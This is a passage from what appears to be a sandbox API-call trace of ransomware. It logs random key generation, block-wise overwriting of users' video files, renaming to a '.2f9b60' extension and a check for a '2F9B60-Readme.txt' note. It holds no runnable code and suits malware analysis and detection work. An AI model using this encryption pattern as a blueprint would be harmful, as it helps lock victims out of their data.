dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1568 [0099.494] GetFileSizeEx (in: hFile=0x1568, lpFileSize=0x242df900 | out: lpFileSize=0x242df900*=100978) returned 1 [0099.494] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x18a6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.494] ReadFile (in: hFile=0x1568, lpBuffer=0x242df880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x242df8c8, lpOverlapped=0x0 | out: lpBuffer=0x242df880*, lpNumberOfBytesRead=0x242df8c8*=0x4, lpOverlapped=0x0) returned 1 [0099.495] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0099.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0099.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0099.496] NtQuerySystemTime (in: CurrentTime=0x242df7c0 | out: CurrentTime=0x242df7c0*=132462177050110000) returned 0x0 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x33b04f12 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x200444e8 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x442736e0 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x8d65925 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x38042308 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x55bfef43 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x8aba863 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x790158cc [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x696ef083 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x44deaf9e [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x77840df2 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x1eb5311c [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x5efd0326 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x14cc4c9f [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x2400732c [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x199e4cf8 [0099.496] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x7da7ad47 [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x3980c4 [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0xa656802 [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x686017ed [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x63ad971 [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0xece059a [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x348d73ad [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x15bfb61a [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x5276347b [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x9f6d204 [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x72ca3ab4 [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x6c596e1c [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x5a8ad9d [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x43256b2e [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x620246e1 [0099.497] RtlRandomEx (in: Seed=0x242df7b0 | out: Seed=0x242df7b0) returned 0x1a0cafb5 [0099.507] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.507] ReadFile (in: hFile=0x1568, lpBuffer=0x1ce68970, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x242df820, lpOverlapped=0x0 | out: lpBuffer=0x1ce68970*, lpNumberOfBytesRead=0x242df820*=0x3c00, lpOverlapped=0x0) returned 1 [0099.507] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0099.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869440 [0099.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0099.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ee0) returned 1 [0099.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce6c580 [0099.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0099.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0099.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fa0) returned 1 [0099.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0099.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0099.508] WriteFile (in: hFile=0x1568, lpBuffer=0x1ce6c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x242df820, lpOverlapped=0x0 | out: lpBuffer=0x1ce6c580*, lpNumberOfBytesWritten=0x242df820*=0x3c00, lpOverlapped=0x0) returned 1 [0100.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c580) returned 1 [0100.606] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.606] ReadFile (in: hFile=0x1568, lpBuffer=0x1ce68970, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x242df820, lpOverlapped=0x0 | out: lpBuffer=0x1ce68970*, lpNumberOfBytesRead=0x242df820*=0x3c00, lpOverlapped=0x0) returned 1 [0100.606] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0100.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0100.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce6c580 [0100.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0100.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0100.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0100.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.607] WriteFile (in: hFile=0x1568, lpBuffer=0x1ce6c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x242df820, lpOverlapped=0x0 | out: lpBuffer=0x1ce6c580*, lpNumberOfBytesWritten=0x242df820*=0x3c00, lpOverlapped=0x0) returned 1 [0100.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c580) returned 1 [0100.615] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x14e72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.615] ReadFile (in: hFile=0x1568, lpBuffer=0x1ce68970, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x242df820, lpOverlapped=0x0 | out: lpBuffer=0x1ce68970*, lpNumberOfBytesRead=0x242df820*=0x3c00, lpOverlapped=0x0) returned 1 [0100.616] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x14e72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0100.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622a0) returned 1 [0100.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce6c580 [0100.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0100.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0100.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262330) returned 1 [0100.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.617] WriteFile (in: hFile=0x1568, lpBuffer=0x1ce6c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x242df820, lpOverlapped=0x0 | out: lpBuffer=0x1ce6c580*, lpNumberOfBytesWritten=0x242df820*=0x3c00, lpOverlapped=0x0) returned 1 [0100.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c580) returned 1 [0100.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e640 [0100.626] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.627] WriteFile (in: hFile=0x1568, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x242df8d0, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x242df8d0*=0x14e, lpOverlapped=0x0) returned 1 [0100.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262300 [0100.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262300) returned 1 [0100.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20262300 [0100.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0100.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0100.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262270) returned 1 [0100.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0100.677] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="7b") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="2c") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="4c") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="8f") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="ba") returned 2 [0100.677] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="54") returned 2 [0100.677] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="7f") returned 2 [0100.677] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="a7") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="07") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="38") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="83") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="31") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="97") returned 2 [0100.677] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="a7") returned 2 [0100.677] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="b6") returned 2 [0100.677] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="46") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="b0") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="fa") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="71") returned 2 [0100.677] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="15") returned 2 [0100.678] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="5d") returned 2 [0100.678] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="68") returned 2 [0100.678] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="2f") returned 2 [0100.678] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="69") returned 2 [0100.678] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="9c") returned 2 [0100.678] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="01") returned 2 [0100.678] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="52") returned 2 [0100.678] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="24") returned 2 [0100.678] RtlInitAnsiString (in: DestinationString=0x242df948, SourceString="7b2c4c8fba547fa70738833197a7b646b0fa71155d682f699c015224" | out: DestinationString="7b2c4c8fba547fa70738833197a7b646b0fa71155d682f699c015224") [0100.678] RtlAnsiStringToUnicodeString (in: DestinationString=0x242df918, SourceString="7b2c4c8fba547fa70738833197a7b646b0fa71155d682f699c015224", AllocateDestinationString=1 | out: DestinationString="7b2c4c8fba547fa70738833197a7b646b0fa71155d682f699c015224") returned 0x0 [0100.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869640 [0100.678] wcscat (in: _Dest=0x202b0f10, _Source="7b2c4c8fba547f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7b2c4c8fba547f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7b2c4c8fba547f" [0100.678] wcscat (in: _Dest=0x202b0f10, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7b2c4c8fba547f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7b2c4c8fba547f.2f9b60" [0100.678] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7b2c4c8fba547f.2f9b60", NtPathName=0x242df8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7b2c4c8fba547f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107300 [0103.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0103.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98df0) returned 1 [0103.451] NtQueryInformationFile (in: FileHandle=0x1568, IoStatusBlock=0x242df958, FileInformation=0x242df968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x242df958, FileInformation=0x242df968) returned 0x0 [0103.451] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x242df958, FileInformation=0x242df968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0f10) returned 1 [0104.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0104.518] FlushFileBuffers (hFile=0x1568) returned 1 [0104.804] CloseHandle (hObject=0x1568) returned 1 [0105.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d9b0 [0105.001] wcscpy (in: _Dest=0x4205d9b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0105.001] wcscat (in: _Dest=0x4205d9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0105.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0106.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d9b0) returned 1 [0106.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4140) returned 1 Thread: id = 844 os_tid = 0xa94 [0099.516] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\Q7GGcCz.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\q7ggccz.mp4")) returned 0x20 [0099.516] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\Q7GGcCz.mp4", dwFileAttributes=0x20) returned 1 [0099.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\Q7GGcCz.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\q7ggccz.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x156c [0099.517] GetFileSizeEx (in: hFile=0x156c, lpFileSize=0x247dfe00 | out: lpFileSize=0x247dfe00*=84074) returned 1 [0099.517] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x14866, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.517] ReadFile (in: hFile=0x156c, lpBuffer=0x247dfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x247dfdc8, lpOverlapped=0x0 | out: lpBuffer=0x247dfd80*, lpNumberOfBytesRead=0x247dfdc8*=0x4, lpOverlapped=0x0) returned 1 [0099.518] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0099.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0099.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0099.518] NtQuerySystemTime (in: CurrentTime=0x247dfcc0 | out: CurrentTime=0x247dfcc0*=132462177050422000) returned 0x0 [0099.518] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x231ea618 [0099.518] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x4f6e5a9c [0099.518] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x350bba6a [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x52acb13d [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x6a2cfb08 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x9e4ddc2 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x2f48d6e6 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x46e9a811 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x1e8b969e [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x59e8cdaa [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x7c2d8355 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x7de7c15a [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x67a3e205 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x59f55e1e [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x6f17be28 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x77f7e6a6 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x71396618 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x1aab501a [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x691ca702 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x1d87097d [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x27e7f3ad [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x37f39106 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x140f2a0 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x53e6d314 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x6b42ffc6 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x1d97eec [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x55a52020 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x66052be8 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x6c8154f5 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0xf309e99 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x40d16527 [0099.519] RtlRandomEx (in: Seed=0x247dfcb0 | out: Seed=0x247dfcb0) returned 0x7e84b46c [0099.528] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.528] ReadFile (in: hFile=0x156c, lpBuffer=0x1ce70190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x247dfd20, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesRead=0x247dfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0099.529] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0099.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869440 [0099.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0099.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fa0) returned 1 [0099.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce73da0 [0099.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0099.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0099.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0099.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0099.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0099.529] WriteFile (in: hFile=0x156c, lpBuffer=0x1ce73da0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x247dfd20, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesWritten=0x247dfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0100.608] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.608] ReadFile (in: hFile=0x156c, lpBuffer=0x1ce70190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x247dfd20, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesRead=0x247dfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.609] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0100.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0100.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce73da0 [0100.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0100.609] 